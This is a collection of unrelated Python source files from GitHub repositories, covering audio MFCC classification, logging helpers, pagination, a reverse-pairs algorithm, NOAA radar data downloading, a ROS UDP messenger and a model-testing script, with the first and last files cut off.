librosa.feature.melspectrogram(S=spectrogram2, sr=sr14)\r\nmel_spec15 = librosa.feature.melspectrogram(S=spectrogram3, sr=sr15)\r\nmel_spec16 = librosa.feature.melspectrogram(S=spectrogram4, sr=sr16)\r\nmel_spec17 = librosa.feature.melspectrogram(S=spectrogram5, sr=sr17)\r\nmel_spec18 = librosa.feature.melspectrogram(S=spectrogram6, sr=sr18)\r\nmel_spec19 = librosa.feature.melspectrogram(S=spectrogram5, sr=sr19)\r\nmel_spec20 = librosa.feature.melspectrogram(S=spectrogram6, sr=sr20)\r\n\r\n# Compute MFCCs\r\nmfcc1 = librosa.feature.mfcc(S=librosa.power_to_db(mel_spec1), n_mfcc=13)\r\nmfcc2 = librosa.feature.mfcc(S=librosa.power_to_db(mel_spec2), n_mfcc=13)\r\nmfcc3 = librosa.feature.mfcc(S=librosa.power_to_db(mel_spec3), n_mfcc=13)\r\nmfcc4 = librosa.feature.mfcc(S=librosa.power_to_db(mel_spec4), n_mfcc=13)\r\nmfcc5 = librosa.feature.mfcc(S=librosa.power_to_db(mel_spec5), n_mfcc=13)\r\nmfcc6 = librosa.feature.mfcc(S=librosa.power_to_db(mel_spec6), n_mfcc=13)\r\nmfcc7 = librosa.feature.mfcc(S=librosa.power_to_db(mel_spec7), n_mfcc=13)\r\nmfcc8 = librosa.feature.mfcc(S=librosa.power_to_db(mel_spec8), n_mfcc=13)\r\nmfcc9 = librosa.feature.mfcc(S=librosa.power_to_db(mel_spec9), n_mfcc=13)\r\nmfcc10 = librosa.feature.mfcc(S=librosa.power_to_db(mel_spec10), n_mfcc=13)\r\nmfcc11 = librosa.feature.mfcc(S=librosa.power_to_db(mel_spec11), n_mfcc=13)\r\nmfcc12 = librosa.feature.mfcc(S=librosa.power_to_db(mel_spec12), n_mfcc=13)\r\nmfcc13 = librosa.feature.mfcc(S=librosa.power_to_db(mel_spec13), n_mfcc=13)\r\nmfcc14 = librosa.feature.mfcc(S=librosa.power_to_db(mel_spec14), n_mfcc=13)\r\nmfcc15 = librosa.feature.mfcc(S=librosa.power_to_db(mel_spec15), n_mfcc=13)\r\nmfcc16 = librosa.feature.mfcc(S=librosa.power_to_db(mel_spec16), n_mfcc=13)\r\nmfcc17 = librosa.feature.mfcc(S=librosa.power_to_db(mel_spec17), n_mfcc=13)\r\nmfcc18 = librosa.feature.mfcc(S=librosa.power_to_db(mel_spec18), n_mfcc=13)\r\nmfcc19 = librosa.feature.mfcc(S=librosa.power_to_db(mel_spec19), n_mfcc=13)\r\nmfcc20 = librosa.feature.mfcc(S=librosa.power_to_db(mel_spec20), n_mfcc=13)\r\n\r\n# Determine the maximum number of frames among the two arrays\r\nmax_frames = max(mfcc1.shape[1], mfcc2.shape[1], mfcc3.shape[1], mfcc4.shape[1], mfcc5.shape[1], mfcc6.shape[1], mfcc7.shape[1], mfcc8.shape[1], mfcc9.shape[1], mfcc10.shape[1], mfcc11.shape[1], mfcc12.shape[1], mfcc13.shape[1], mfcc14.shape[1], mfcc15.shape[1], mfcc16.shape[1], mfcc17.shape[1], mfcc18.shape[1], mfcc19.shape[1], mfcc20.shape[1])\r\n\r\n# Pad mfcc if it has fewer frames than max_frames\r\ndef Pad(max_frames,mfcc):\r\n if mfcc.shape[1] < max_frames:\r\n mfcc = np.pad(mfcc, ((0, 0), (0, max_frames - mfcc.shape[1])), mode='constant')\r\n return mfcc\r\n\r\nmfcc1= Pad(max_frames, mfcc1)\r\nmfcc2= Pad(max_frames, mfcc2)\r\nmfcc3= Pad(max_frames, mfcc3)\r\nmfcc4= Pad(max_frames, mfcc4)\r\nmfcc5= Pad(max_frames, mfcc5)\r\nmfcc6= Pad(max_frames, mfcc6)\r\nmfcc7= Pad(max_frames, mfcc7)\r\nmfcc8= Pad(max_frames, mfcc8)\r\nmfcc9= Pad(max_frames, mfcc9)\r\nmfcc10= Pad(max_frames, mfcc10)\r\nmfcc11= Pad(max_frames, mfcc11)\r\nmfcc12= Pad(max_frames, mfcc12)\r\nmfcc13= Pad(max_frames, mfcc13)\r\nmfcc14= Pad(max_frames, mfcc14)\r\nmfcc15= Pad(max_frames, mfcc15)\r\nmfcc16= Pad(max_frames, mfcc16)\r\nmfcc17= Pad(max_frames, mfcc17)\r\nmfcc18= Pad(max_frames, mfcc18)\r\nmfcc19= Pad(max_frames, mfcc19)\r\nmfcc20= Pad(max_frames, mfcc20)\r\n\r\n# Plot MFCCs using Plotly\r\nfig = px.imshow(mfcc1, origin='lower', aspect='auto')\r\nfig.update_layout(title='MFCC - Audio 1', xaxis_title='Time', yaxis_title='MFCC Coefficients')\r\nfig.show()\r\n\r\nfig = px.imshow(mfcc2, origin='lower', aspect='auto')\r\nfig.update_layout(title='MFCC - Audio 2', xaxis_title='Time', yaxis_title='MFCC Coefficients')\r\nfig.show()\r\n\r\nfig = px.imshow(mfcc3, origin='lower', aspect='auto')\r\nfig.update_layout(title='MFCC - Audio 3', xaxis_title='Time', yaxis_title='MFCC Coefficients')\r\nfig.show()\r\n\r\nfig = px.imshow(mfcc4, origin='lower', aspect='auto')\r\nfig.update_layout(title='MFCC - Audio 4', xaxis_title='Time', yaxis_title='MFCC Coefficients')\r\nfig.show()\r\n\r\nfig = px.imshow(mfcc5, origin='lower', aspect='auto')\r\nfig.update_layout(title='MFCC - Audio 5', xaxis_title='Time', yaxis_title='MFCC Coefficients')\r\nfig.show()\r\n\r\nfig = px.imshow(mfcc6, origin='lower', aspect='auto')\r\nfig.update_layout(title='MFCC - Audio 6', xaxis_title='Time', yaxis_title='MFCC Coefficients')\r\nfig.show()\r\n\r\n# Combine the MFCCs into a single array\r\nX = np.concatenate([mfcc1, mfcc2, mfcc3, mfcc4, mfcc5, mfcc6, mfcc7, mfcc8, mfcc9, mfcc10, mfcc11, mfcc12, mfcc13, mfcc14, mfcc15, mfcc16, mfcc17, mfcc18, mfcc19, mfcc20], axis=0)\r\n\r\n# Create a target array indicating the class labels (e.g., 0 for audio 1, 1 for audio 2)\r\ny = np.concatenate([np.zeros(mfcc1.shape[0]), np.ones(mfcc2.shape[0]), np.zeros(mfcc3.shape[0]), np.ones(mfcc4.shape[0]), np.zeros(mfcc5.shape[0]), np.ones(mfcc6.shape[0]), np.zeros(mfcc7.shape[0]), np.ones(mfcc8.shape[0]), np.zeros(mfcc9.shape[0]), np.ones(mfcc10.shape[0]), np.zeros(mfcc11.shape[0]), np.ones(mfcc12.shape[0]), np.zeros(mfcc13.shape[0]), np.ones(mfcc14.shape[0]), np.zeros(mfcc15.shape[0]), np.ones(mfcc16.shape[0]), np.zeros(mfcc17.shape[0]), np.ones(mfcc18.shape[0]), np.zeros(mfcc19.shape[0]), np.ones(mfcc20.shape[0])], axis=0)\r\nprint(y.shape)\r\n\r\n# Split the data into training and testing sets\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42)\r\n\r\n# Create an instance of the SVM classifier with a linear kernel\r\nclf = SVC(kernel='linear')\r\n\r\n# Train the SVM classifier on the training data\r\nclf.fit(X_train, y_train)\r\n\r\n# Predict the labels for the testing data\r\ny_pred = clf.predict(X_test)\r\n\r\n# Compute accuracy\r\naccuracy = accuracy_score(y_test, y_pred)\r\nprint(\"Accuracy:\", accuracy)\r\n\r\n# Compute precision\r\nprecision = precision_score(y_test, y_pred)\r\nprint(\"Precision:\", precision)\r\n\r\n# Compute recall\r\nrecall = recall_score(y_test, y_pred)\r\nprint(\"Recall:\", recall)\r\n\r\n# Compute F1 score\r\nf1 = f1_score(y_test, y_pred)\r\nprint(\"F1 score:\", f1)","repo_name":"long14542/DSP-Project","sub_path":"project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":10055,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"18177883225","text":"\"\"\"Tools to print messages.\"\"\"\n\n\nfrom colorama import init, Fore\nfrom typing import Callable, Dict, Any\n\n\ninit(autoreset=True)\n\n\nclass BaseMessage:\n def __init__(self: Callable, **options: Dict[str, Any]) -> Callable:\n self._options = options\n\n def log(self: Callable):\n print(self._options['color'] + f'=> {self._options[\"prefix\"]} ' + Fore.RESET + self._options['message'])\n\n if self._options['exit']['val']:\n exit(self._options['exit']['status_code'])\n\n\ndef success(message: str):\n options = {\n 'color': Fore.GREEN,\n 'message': message,\n 'prefix': '[SUCCESS]',\n 'exit': {\n 'val': False,\n 'status_code': 0\n }\n }\n\n messager: BaseMessage = BaseMessage(**options)\n messager.log()\n\n\ndef error(message: str):\n options = {\n 'color': Fore.RED,\n 'message': message,\n 'prefix': '[ ERR ]',\n 'exit': {\n 'val': True,\n 'status_code': 1\n }\n }\n\n messager: BaseMessage = BaseMessage(**options)\n messager.log()\n\n\ndef warning(message: str):\n options = {\n 'color': Fore.YELLOW,\n 'message': message,\n 'prefix': '[WARNING]',\n 'exit': {\n 'val': False,\n 'status_code': 0\n }\n }\n\n messager: BaseMessage = BaseMessage(**options)\n messager.log()\n\ndef info(message: str):\n options = {\n 'color': Fore.BLUE,\n 'message': message,\n 'prefix': '[ INF ]',\n 'exit': {\n 'val': False,\n 'status_code': 0\n }\n }\n\n messager: BaseMessage = BaseMessage(**options)\n messager.log()","repo_name":"AlphaTechnolog/thmctrl","sub_path":"src/cli/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":1655,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"8024203844","text":"# %%\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pylab as plt\nimport seaborn as sns\n\nfrom glob import glob\n\nimport librosa\nimport librosa.display\nimport IPython.display as ipd\n\nfrom itertools import cycle\n\nsns.set_theme(style=\"white\", palette=None)\ncolor_pal = plt.rcParams[\"axes.prop_cycle\"].by_key()[\"color\"]\ncolor_cycle = cycle(plt.rcParams[\"axes.prop_cycle\"].by_key()[\"color\"])\n\n# %%\naudio_files = glob('file2.wav')\n\n# %%\nipd.Audio(audio_files[0])\n\n# %%\ny, sr = librosa.load(audio_files[0])\nprint(f'y: {y[:10]}')\nprint(f'shape y: {y.shape}')\nprint(f'sr: {sr}')\n\n# %%\npd.Series(y).plot(figsize=(10, 5),\n lw=1,\n title='Raw Audio Example',\n color=color_pal[0])\nplt.show()\n\n\n# %%\ny_trimmed, _ = librosa.effects.trim(y, top_db=20)\npd.Series(y_trimmed).plot(figsize=(10, 5),\n lw=1,\n title='Raw Audio Trimmed Example',\n color=color_pal[1])\nplt.show()\n\n# %%\npd.Series(y[30000:30500]).plot(figsize=(10, 5),\n lw=1,\n title='Raw Audio Zoomed In Example',\n color=color_pal[2])\nplt.show()\n\n# %%\nD = librosa.stft(y)\nS_db = librosa.amplitude_to_db(np.abs(D), ref=np.max)\nS_db.shape\n\n# %%\nfig, ax = plt.subplots(figsize=(10, 5))\nimg = librosa.display.specshow(S_db,\n x_axis='time',\n y_axis='log',\n ax=ax)\nax.set_title('Spectogram Example', fontsize=20)\nfig.colorbar(img, ax=ax, format=f'%0.2f')\nplt.show()\n\n# %%\nS = librosa.feature.melspectrogram(y=y,\n sr=sr,\n n_mels=128 * 2,)\nS_db_mel = librosa.amplitude_to_db(S, ref=np.max)\nfig, ax = plt.subplots(figsize=(10, 5))\n# Plot the mel spectogram\nimg = librosa.display.specshow(S_db_mel,\n x_axis='time',\n y_axis='log',\n ax=ax)\nax.set_title('Mel Spectogram Example', fontsize=20)\nfig.colorbar(img, ax=ax, format=f'%0.2f')\nplt.show()\n\n# %%\nimport noisereduce as nr \nfrom scipy.io import wavfile\n#load data \n\n\n# %%\nwavfile.write(\"mywav_reduced_noise.wav\", rate, reduced_noise)\n\n# %%\n","repo_name":"sujaykumarmag/SR2.0","sub_path":"visuals.py","file_name":"visuals.py","file_ext":"py","file_size_in_byte":2219,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"2979364403","text":"import time\nimport threading\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.figure import Figure\n\nfrom thunder_board.clients import TextClient, PlotClient\n\n\nclass LocalPlotClient:\n plot_id = 0\n\n def __init__(self, *args, **kwargs):\n self.dummy = plt.figure(self.plot_id)\n self.manager = self.dummy.canvas.manager\n self.plot_id += 1\n\n def send(self, fig):\n self.manager.canvas.figure = fig\n fig.set_canvas(self.manager.canvas)\n self.manager.canvas.draw()\n plt.show(block=False)\n\n\nclass LocalTextClient:\n def __init__(self, *args, **kwargs):\n pass\n\n def send_log(self, text):\n print(text)\n\n def send(self, text):\n print(text)\n\n\nclass QuietPlotClient:\n def __init__(self, *args, **kwargs):\n pass\n\n def send(self, fig):\n pass\n\n\nclass QuietTextClient:\n def __init__(self, *args, **kwargs):\n pass\n\n def send_log(self, text):\n pass\n\n def send(self, text):\n pass\n\n\nclass Logger:\n # logging_level: from less verbose to more verbose: ERROR, WARNING, INFO, DEBUG\n def __init__(self, thunderboard=True, logging_level=\"INFO\", disabled=False):\n if thunderboard:\n self.log_sender = TextClient(\"Log\", id=\"log\", rotate=True)\n elif not disabled:\n self.log_sender = LocalTextClient()\n else:\n self.log_sender = QuietTextClient()\n\n self.plot_senders = {}\n self.thunderboard = thunderboard\n self.disabled = disabled\n\n self.logging_level = logging_level\n self.enable_timestamp = True\n\n def get_plot_sender(self, _id, title=None):\n if self.thunderboard:\n if _id not in self.plot_senders:\n self.plot_senders[_id] = PlotClient(title, id=_id)\n return self.plot_senders[_id]\n elif not self.disabled:\n if _id not in self.plot_senders:\n self.plot_senders[_id] = LocalPlotClient(title, id=_id)\n return self.plot_senders[_id]\n else:\n return QuietPlotClient()\n\n def set_logging_level(self, logging_level):\n assert logging_level in ['DEBUG', 'INFO', 'WARNING', 'ERROR'], \\\n 'Logging level must be one of DEBUG, INFO, WARNING, ERROR'\n\n self.logging_level = logging_level\n\n def _log_stamp(self, level=\"INFO\"):\n if self.enable_timestamp:\n _time = time.strftime(\"%Y-%m-%d %H:%M:%S\")\n return f\"[{_time} {level}] \"\n else:\n return \"\"\n\n def send_log(self, msg):\n if self.thunderboard:\n try:\n self.log_sender.send(msg)\n except (ConnectionError, IOError):\n pass\n\n def debug(self, msg):\n if self.logging_level == \"DEBUG\":\n msg = self._log_stamp(\"DEBUG\") + str(msg)\n print(msg)\n self.send_log(\"\" + msg + \"\")\n\n def log(self, msg):\n self.info(msg)\n\n def info(self, msg):\n if self.logging_level in ['DEBUG', 'INFO']:\n msg = self._log_stamp(\"INFO\") + str(msg)\n print(msg)\n self.send_log(msg)\n\n def success(self, msg):\n if self.logging_level in ['DEBUG', 'INFO']:\n msg = self._log_stamp(\"INFO\") + str(msg)\n print(msg)\n self.send_log(\"\" + msg + \"\")\n\n def warning(self, msg):\n if self.logging_level in ['DEBUG', 'INFO', 'WARNING']:\n msg = self._log_stamp(\"WARNING\") + str(msg)\n print(msg)\n self.send_log(\"\" + msg + \"\")\n\n def error(self, msg):\n if self.logging_level in ['DEBUG', 'INFO', 'WARNING', 'ERROR']:\n msg = self._log_stamp(\"ERROR\") + str(msg)\n print(msg)\n self.send_log(\"\" + msg + \"\")\n\n def plot_waveform(self, **kwargs):\n threading.Thread(target=self._plot_waveform, args=kwargs).start()\n\n def _plot_waveform(self, **kwargs):\n # Usage:\n # runtime.logger.plot_waveform(I=runtime.env.sequence.last_AWG_compiled_waveforms['drive_mod_I'],\n # Q=runtime.env.sequence.last_AWG_compiled_waveforms['drive_mod_Q'],\n # t_range=(97e-6, 98.1e-6))\n\n sample_rate = 1e9\n param_list = ['sample_rate', 't_range']\n if 'sample_rate' in kwargs:\n sample_rate = kwargs['sample_rate']\n\n fig = Figure(figsize=(8, 4))\n ax = fig.subplots(1, 1)\n colors = [\"blue\", \"crimson\", \"orange\", \"forestgreen\", \"dodgerblue\"]\n i = 0\n for key, waveform in kwargs.items():\n if key in param_list:\n continue\n\n if 't_range' in kwargs:\n sample_points = np.arange(kwargs['t_range'][0], kwargs['t_range'][1], 1.0 / sample_rate)\n else:\n sample_points = np.arange(0, waveform.width, 1.0 / sample_rate)\n\n samples = [waveform.at(sample_point) for sample_point in sample_points]\n ax.plot(sample_points, samples, label=key, color=colors[i % len(colors)])\n i += 1\n\n fig.set_tight_layout(True)\n self.get_plot_sender(\"debug_plot\", \"Waveform Plot\").send(fig)\n\n\nclass ExperimentStatus:\n def __init__(self, thunderboard=True, disabled=False):\n if thunderboard:\n self.status_sender = TextClient(\"Experiment Status\", id=\"status\", rotate=False)\n self.sequence_sender = PlotClient(\"Pulse Sequence\", id=\"pulse sequence\")\n else:\n self.status_sender = None\n\n self.experiment_stack = []\n self.last_experiment = None\n self.last_experiment_finished_at = None\n self.disabled = disabled\n\n def experiment_enter(self, experiment_name):\n if self.disabled:\n return\n\n _time = time.strftime(\"%Y-%m-%d %H:%M:%S\")\n self.experiment_stack.append({\n 'start_at': _time,\n 'name': experiment_name,\n 'status': None\n })\n print(f\"[{_time}] *** Enter experiment: {experiment_name} ***\")\n self._send_status()\n\n def update_status(self, status):\n if self.disabled:\n return\n\n self.experiment_stack[-1]['status'] = status\n _time = time.strftime(\"%Y-%m-%d %H:%M:%S\")\n print(f\"[{_time}] *** Experiment status updated: {status} ***\")\n self._send_status()\n\n def experiment_exit(self):\n if self.disabled:\n return\n\n popped = self.experiment_stack.pop()\n _time = time.strftime(\"%Y-%m-%d %H:%M:%S\")\n self.last_experiment = popped['name']\n self.last_experiment_finished_at = _time\n\n self._send_status()\n\n print(f\"[{_time}] *** Exit experiment: {popped['name']} ***\")\n\n def _format_html_status(self):\n html = \"\"\n if len(self.experiment_stack) == 0:\n html = \"
    Idle
    \"\n if self.last_experiment:\n html += f\"Last Experiment: {self.last_experiment}, finished at {self.last_experiment_finished_at}\"\n else:\n html = \"
    Running Experiment
    \"\n html += \"
      \"\n for i, exp in enumerate(self.experiment_stack):\n if i == 0:\n html += \"
    • \" + exp['name'] + \"\"\n else:\n html += \"
    • \" + exp['name']\n if exp['status']:\n html += f\" ({exp['status']})\"\n\n html += f\"
      Started at {exp['start_at']}\"\n html += \"
    • \"\n\n html += \"
    \"\n\n return html\n\n def _send_status(self):\n if self.status_sender:\n try:\n self.status_sender.send(self._format_html_status())\n except ConnectionError:\n pass\n","repo_name":"TerryGeng/ThunderQ","sub_path":"thunderq/helper/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":7914,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"44925962854","text":"import websocket\n\nws = websocket.WebSocket()\nws.connect('ws://192.168.31.69')\nprint('connected to websocket server')\n\n\nwhile True:\n str = input('say something ')\n ws.send(str)\n result = ws.recv()\n print('Recieved '+result)","repo_name":"samiulextreem/IoT_simpleserver","sub_path":"websckt.py","file_name":"websckt.py","file_ext":"py","file_size_in_byte":234,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4318438326","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom rest_framework.response import Response\nfrom rest_framework.pagination import PageNumberPagination\n\n\nclass StandardResultsSetPagination(PageNumberPagination):\n page_size_query_param = 'page_size'\n\n def get_next_link(self):\n if not self.page.has_next():\n return None\n page_number = self.page.next_page_number()\n return page_number\n\n def get_previous_link(self):\n if not self.page.has_previous():\n return None\n page_number = self.page.previous_page_number()\n return page_number\n\n\nclass MongoPagination(object):\n default_page_size = 20\n page_query_param = 'page'\n page_size_query_param = 'page_size'\n max_page_size = None\n\n def __init__(self):\n pass\n\n def _positive_int(self, integer_string, strict=False, cutoff=None):\n ret = int(integer_string)\n if ret < 0 or (ret == 0 and strict):\n raise ValueError()\n if cutoff:\n return min(ret, cutoff)\n return ret\n\n def paginate_queryset(self, queryset, data):\n self.page = data.get('page') or 1\n self.page = self._positive_int(self.page)\n\n self.page_size = self.default_page_size\n if self.page_size_query_param:\n self.page_size = data.get(self.page_size_query_param) or self.page_size\n self.page_size = self._positive_int(\n self.page_size,\n True,\n self.max_page_size\n )\n\n self.count = queryset.clone().count()\n queryset = queryset.skip((self.page - 1) * self.page_size).limit(self.page_size)\n\n def paginated_response(self, data):\n return Response({\n 'count': self.count,\n 'next': self.page + 1 if self.count > self.page * self.page_size else None,\n 'previous': self.page - 1 if self.page > 1 else None,\n 'results': data\n })\n","repo_name":"edunola13/libs-python-django-module-common","sub_path":"django_module_common/utils/pagination.py","file_name":"pagination.py","file_ext":"py","file_size_in_byte":1964,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"16381103176","text":"#!/usr/bin/env python\n\nfrom distutils.core import setup\nfrom distutils.extension import Extension\nfrom Cython.Distutils import build_ext\nimport numpy\n\next_modules = [\n Extension(\n name=\"ultratils.pysonix.scanconvert\",\n sources=[\"ultratils/pysonix/scanconvert.pyx\"],\n libraries = [\"m\"],\n include_dirs=[numpy.get_include(), \".\"],\n language=\"c\",\n )\n]\n\n\nsetup(\n name = 'ultratils',\n cmdclass = {'build_ext': build_ext},\n ext_modules = ext_modules,\n packages = ['ultratils', 'ultratils.pysonix'],\n package_data = {'ultratils.pysonix': ['data/probes.xml']},\n scripts = [\n 'scripts/bpr2bmp',\n 'scripts/psync',\n 'scripts/sepchan',\n 'scripts/taptest',\n 'scripts/ultraproc',\n 'scripts/ultrasession.py',\n 'scripts/wait_for_input'\n ],\n classifiers = [\n 'Intended Audience :: Science/Research',\n 'Topic :: Scientific/Engineering'\n ]\n)\n","repo_name":"rsprouse/ultratils","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":875,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"28243465108","text":"import gym\nimport gym_abalone\nimport random\n\nclass Agents:\n\n @staticmethod\n def choice_random(game):\n player = game.current_player\n possible_moves = game.get_possible_moves(player, group_by_type=False)\n pos0, pos1 = random.choice(possible_moves)\n return pos0, pos1\n \n @staticmethod\n def choice_prioritize_random(game):\n player = game.current_player\n possible_moves = game.get_possible_moves(player, group_by_type=True)\n for move_type in ['winner', 'ejected', 'inline_push', 'inline_move', 'sidestep_move']:\n if possible_moves[move_type]:\n pos0, pos1 = random.choice(possible_moves[move_type])\n break\n return pos0, pos1\n\n\nenv = gym.make(\"abalone-v0\")\nenv.reset(random_player=True, random_pick=True)\n\nNB_EPISODES = 1\nfor episode in range(1, NB_EPISODES+1):\n env.reset(random_player=True, random_pick=True)\n done = False\n while not done:\n # ==== YOUR AGENT HERE ====\n\n action = Agents.choice_prioritize_random(env.game)\n\n # =========================\n obs, reward, done, info = env.step(action) # action\n print(f\"{info['turn']: <4} | {info['player_name']} | {str(info['move_type']): >16} | reward={reward: >4} \")\n env.render(fps=0.5)\n\n print(f\"Episode {info['turn']: <4} finished after {env.game.turns_count} turns \\n\")\nenv.close()\n","repo_name":"towzeur/gym-abalone","sub_path":"examples/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1394,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"48"} +{"seq_id":"71725073426","text":"class Solution(object):\n def reversePairs(self, nums):\n\n self.sortedTemp = []\n return self.merge_sort(nums, 0, len(nums) - 1)\n\n def merge_sort(self, nums, l, r):\n # 不存在的情况\n if l >= r:\n return 0\n\n # 分而治之,res得到的是这两个函数里的逆序对和有多少\n mid = l + r >> 1\n res = self.merge_sort(nums, l, mid) + self.merge_sort(nums, mid + 1, r)\n\n # 经过上面一步merge以后, 左右两半分别都已经从小到大排好序了\n j = mid + 1\n for i in range(l, mid + 1):\n # 假如说当前nums[j]不满足逆序对,那么则++\n while j <= r and nums[j] * 2 < nums[i]:\n j += 1\n # 找到满足nums[i] nums[j]是逆序对的j, 那么比nums[j]小的数也可以和nums[i]构成逆序对\n # 所以我们可以从[mid+1,j] 的所有数都加进逆序对\n res += j - (mid + 1)\n\n # 清空之前使用的排序好的数组\n self.sortedTemp = []\n\n # 进行归并排序\n i = l;\n j = mid + 1\n while i <= mid and j <= r:\n if nums[i] <= nums[j]:\n self.sortedTemp.append(nums[i])\n i += 1\n else:\n self.sortedTemp.append(nums[j])\n j += 1\n\n # 把剩下的未放进排序数组的元素,加入排序数组\n if i <= mid:\n self.sortedTemp += nums[i:mid+1]\n if j <= r:\n self.sortedTemp += nums[j:r+1]\n\n # 最后,得到排序后的[l,r]后,inplace更新原数组\n i = l\n for j in range(len(self.sortedTemp)):\n nums[i] = self.sortedTemp[j]\n i += 1\n\n # 返回从[l,r]的所有逆序对\n return res\n\n# https://www.acwing.com/video/1896/","repo_name":"Andrewlearning/Leetcoding","sub_path":"leetcode/Array/493m. 翻转对(归并合并或树状数组).py","file_name":"493m. 翻转对(归并合并或树状数组).py","file_ext":"py","file_size_in_byte":1832,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"31848304581","text":"#!/user/bin/env python3\r\n# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Apr 23 19:37:51 2020\r\n\r\n@author: Lamont\r\n\r\nCreated to quickly download level II data from amazon\r\n\"\"\"\r\n\r\nfrom xml.dom import minidom\r\nfrom sys import stdin\r\nimport urllib3\r\nfrom urllib.request import urlopen\r\nfrom subprocess import call\r\nimport sys\r\n\r\ndef getText(nodelist):\r\n rc = []\r\n for node in nodelist:\r\n if node.nodeType == node.TEXT_NODE:\r\n rc.append(node.data)\r\n return ''.join(rc)\r\n\r\n\r\ndate = \"2020/04/12\" #YYYY/MM/DD \r\nhour = \"10\" #Time in UTC\r\nsite = \"KFWS\"\r\nbucketURL = \"http://noaa-nexrad-level2.s3.amazonaws.com\"\r\ndirListURL = bucketURL+ \"/?prefix=\" + date + \"/\" + site\r\n\r\nxmldoc = minidom.parse(urlopen(dirListURL))\r\nitemlist = xmldoc.getElementsByTagName('Key')\r\nnew_date = date[5:7]+date[8:]+date[0:4]\r\n\r\n#this is a hack since I use anaconda/spyder\r\nfrom six.moves import urllib\r\n\r\nfor i in range(0, len(itemlist)):\r\n file = getText(itemlist[i].childNodes)\r\n if file[29:31] == hour:\r\n fn = (bucketURL+str('/')+file)\r\n print(\"Now Downloading: \", fn)\r\n #urllib.request.urlretrieve(fn, 'C:/Users/Lamont/FWD/Radar/05162020/'+str(site)+'/'+str(file[16:]).replace(\"/\", \"\"))\r\n urllib.request.urlretrieve(fn, 'E:/Radar-Archive/Level2/20200412/'+str(site)+'/'+str(file[16:]).replace(\"/\", \"\"))\r\n #E:\\Radar-Archive\\Level2\\20200505\\FWS","repo_name":"LBainWx/NWS_Projects","sub_path":"download_radar.py","file_name":"download_radar.py","file_ext":"py","file_size_in_byte":1389,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"5210133121","text":"import socket\nimport rospy\nimport time\n\nfrom std_msgs.msg import Bool\nfrom geometry_msgs.msg import Point\n\nclass udpRecv:\n def __init__(self):\n #self.ip = \"192.168.73.210\"\n self.ip = \"192.168.73.38\"\n self.port = 14687\n self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n self.target_sub = rospy.Subscriber(\"/marker_detection\", Point, self.marker_callback)\n self.int_sub = rospy.Subscriber(\"/intersection\", Bool, self.intersection_callback)\n time.sleep(2)\n print(\"Sending Start\")\n message = \"Start\"\n self.sock.sendto(message.encode(\"utf-8\"), (self.ip, self.port))\n rospy.spin()\n\n\n def marker_callback(self, msg):\n print(\"Sending marker\")\n message = \"\"\n if msg.x < 10:\n message = \"Friend found\"\n elif msg.x > 10:\n message = \"Enemy found\"\n self.sock.sendto(message.encode(\"utf-8\"), (self.ip, self.port))\n\n def intersection_callback(self, msg):\n print(\"sending intersection\")\n message = \"Intersection\"\n self.sock.sendto(message.encode(\"utf-8\"), (self.ip, self.port))\n\n\nrospy.init_node(\"udp_recv\")\nur = udpRecv()\n\n\n\n","repo_name":"Naveench7/Autonomous-Ground-Vehicle-for-Urban-Security-","sub_path":"code/TX2/udpSend.py","file_name":"udpSend.py","file_ext":"py","file_size_in_byte":1185,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12453646761","text":"import yaml\nimport argparse \nimport utilities\nimport os\nimport torch \nimport numpy as np\nfrom main import datasetFactory\nimport pytorch_lightning as pl\n\n\ndef saving_files(data, database, name, dir_= \"make_graph\"):\n if len(data) != 1:\n PATH = os.path.join(dir_, \"test_loss\", database)\n if not os.path.exists(PATH):\n os.makedirs(PATH)\n np.savetxt(os.path.join(PATH, f'{name}.csv'), data, delimiter=\",\")\n else:\n PATH = os.path.join(dir_, \"test_loss\", database,f\"{name}.csv\")\n if not os.path.exists(PATH):\n os.makedirs(PATH)\n #add a new row in th csv file \n with open(PATH, \"a\") as f:\n f.write(str(data[0]))\n\n\ndef test(config, args):\n model = utilities.choosing_model(config)\n test_dataloader = datasetFactory(config, do = args.do, args=None)\n myloss = utilities.LpLoss(size_average=False)\n\n print(f\"Load from checkpoint {args.checkpoint}\") \n checkpoint = torch.load(args.checkpoint, map_location=lambda storage, loc: storage)\n model.load_state_dict(checkpoint[\"state_dict\"])\n model.cuda()\n model.eval() \n loss_dict = {\n 'test_loss': 0.0\n }\n\n with torch.no_grad():\n for x, y in test_dataloader:\n batch_size, s= x.shape[0:2]\n x, y = x.cuda(), y.cuda()\n out = model(x).reshape(batch_size, s, s, -1)\n loss_test = myloss(out.view(batch_size,-1), y.view(batch_size,-1))\n loss_dict['test_loss']+= loss_test.item()\n return loss_dict['test_loss'] / len(test_dataloader.dataset)\n\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser('Testing losses', 